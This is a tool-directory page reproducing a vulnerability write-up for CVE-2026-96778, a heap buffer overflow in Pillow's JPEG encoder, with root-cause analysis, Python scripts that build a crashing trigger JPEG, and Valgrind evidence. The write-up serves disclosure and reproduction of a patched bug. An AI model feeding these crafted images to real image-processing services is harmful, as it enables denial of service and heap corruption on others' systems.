Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-96778-pillow — Proof-of-concept and technical analysis for CVE-2026-96778, a heap buffer overflow in Pillow's JPEG encoder triggered by ICC profile plus COM marker on re-save. | Kitploit
Tools/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
Memory ForensicsVulnerability AnalysisExploitationFuzzingPapers & ResearchLearning & EducationBinary Exploitation
GitHub
Share
paktiko1986/cve-2026-96778-pillow

CVE-2026-96778-pillow

Proof-of-concept and technical analysis for CVE-2026-96778, a heap buffer overflow in Pillow's JPEG encoder triggered by ICC profile plus COM marker on re-save.

View Repository
24 days agoNot yet reviewed

CVE-2026-96778 — Heap Buffer Overflow in Pillow JPEG Encoder

Status Pillow Fixed Platform

This repository contains a Proof of Concept (PoC), reproduction evidence, and technical analysis for CVE-2026-96778, a heap buffer overflow in the Pillow library (Python Imaging Library).

Brief summary: Re-saving a JPEG image that carries an ICC profile of an exact size and a comment (COM marker) causes a write past the 65,536-byte encoder buffer, corrupting heap metadata and potentially causing a denial of service (crash) up to code execution.


1. Vulnerability Details

FieldValue
CVE IDCVE-2026-96778
Componentsrc/libImaging/JpegEncode.c — ImagingJpegEncode()
Vulnerable pointLine 282 (jpeg_write_marker for COM marker)
TypeHeap Buffer Overflow (CWE-122)
Affected rangePillow 9.4.0 – <13.0.0
Fixed inPillow 13.0.0
ImpactDoS (SIGSEGV/SIGABRT), potential RCE
VectorLocal / user interaction (opening & re-saving an image)
AdvisoryGHSA-g7cr-3p24-7wf7

2. Root Cause Analysis

2.1 Code Flow

  1. JpegImagePlugin._save() calculates the output buffer size only from exif and extra (ICC profile), without leaving room for the comment.
  2. _encode_to_file() (src/encode.c:186) allocates a buffer of MAXBLOCK = 65,536 bytes.
  3. An ICC profile of 65,498 bytes fills the buffer exactly up to the last byte, so that free_in_buffer == 0.
  4. When jpeg_write_marker() is called to write the COM marker (JpegEncode.c:282), libjpeg writes 1 byte first, and only then decrements the size_t free_in_buffer counter.
  5. Because the counter is 0, the decrement causes an underflow to ~2⁶⁴. Subsequent bounds checks become invalid.
  6. The rest of the comment and the compressed image data are written past the buffer boundary, overwriting the surrounding heap memory.

2.2 Trigger Size Calculation

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

With ICC_PAYLOAD = 65498, the buffer is filled exactly up to the last byte. Adding a COM marker (any length, 1–65533 bytes) triggers an overflow.

2.3 Why Large Comments Are More Effective

The maximum legal comment (65,533 bytes) causes the overflow to write a large amount of data, making the crash more deterministic. A small comment (e.g., 32 bytes) still triggers an Invalid write in Valgrind, but does not necessarily crash in a normal runtime (depending on heap layout and allocator).


3. Test Environment

ComponentValue
OSUbuntu Linux x86_64
KernelLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
Compilergcc 13.3.0
Pillow tested9.4.0, 9.5.0, 13.0.0
Pillow sourcebuilt from source (pip install -e .)

4. Proof of Concept

4.1 make_trigger.py — Generator JPEG Pemicu

Creates trigger.jpg with a 65,498-byte ICC profile and a COM marker.

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Valgrind-Friendly Reproduction

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Run with Valgrind:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — Reference PoC (Crash Detection)

Based on the official GHSA-g7cr-3p24-7wf7 advisory. Runs im.save() in a child process and checks the exit status (negative = killed by signal).

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. Reproduction Evidence

5.1 Summary of Results

Versi PillowSumber imporValgrindPoC advisoryStatus
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)RENTAN
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + heap corruptBUG (SIGSEGV)RENTAN
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKAMAN

5.2 Pillow 9.4.0 — Valgrind

==7310== Invalid write of size 1
==7310==    at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310==    by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310==    by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310==  Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310==    at malloc
==7310==    by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224

5.3 Pillow 9.5.0 — Valgrind

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    628
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    413
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    366
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    329
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    287

Explore all tools

Browse our collection of tools

View all tools →